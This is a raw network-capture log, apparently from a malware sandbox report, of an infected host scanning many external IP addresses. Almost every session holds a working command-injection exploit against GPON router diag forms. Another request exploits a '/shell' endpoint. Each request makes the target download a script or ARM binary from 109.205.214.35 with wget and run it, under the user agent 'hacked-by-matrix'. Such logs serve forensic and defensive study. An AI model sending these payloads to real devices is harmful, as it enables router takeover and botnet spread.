Mar 21, 2024 05:23:47.211685896 CET	339	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Mar 2024 04:23:47 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2095	192.168.2.13	33644	43.230.167.92	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.557461977 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:46.910787106 CET	158	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2096	192.168.2.13	37006	5.13.244.251	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.885576963 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2097	192.168.2.13	44602	118.3.51.20	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.885601044 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2098	192.168.2.13	58830	42.137.253.62	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.885629892 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2099	192.168.2.13	39044	42.151.189.155	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.885637045 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2100	192.168.2.13	58376	5.27.3.245	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.885677099 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2101	192.168.2.13	37102	5.0.184.79	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.885677099 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2102	192.168.2.13	33138	5.145.83.227	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.885710001 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2103	192.168.2.13	54346	118.86.202.8	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.885751009 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2104	192.168.2.13	52374	42.141.51.37	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.885765076 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2105	192.168.2.13	41842	5.165.157.184	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.885778904 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2106	192.168.2.13	57992	109.119.20.227	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.885785103 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2107	192.168.2.13	39374	109.233.4.167	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.885818958 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2108	192.168.2.13	34378	42.65.166.175	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.885858059 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2109	192.168.2.13	49104	5.64.82.96	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.885898113 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2110	192.168.2.13	44550	5.227.102.76	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.885931015 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2111	192.168.2.13	42764	212.110.237.185	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.885931015 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2112	192.168.2.13	50900	118.184.208.51	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.885972023 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2113	192.168.2.13	50916	109.200.155.162	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.885987043 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2114	192.168.2.13	54288	118.206.249.46	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.886008978 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2115	192.168.2.13	52408	5.39.242.239	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.886035919 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2116	192.168.2.13	50642	5.144.74.101	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.886035919 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2117	192.168.2.13	58778	5.216.91.58	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.886065006 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2118	192.168.2.13	41028	5.242.143.135	443

Timestamp	Bytes transferred	Direction	Data
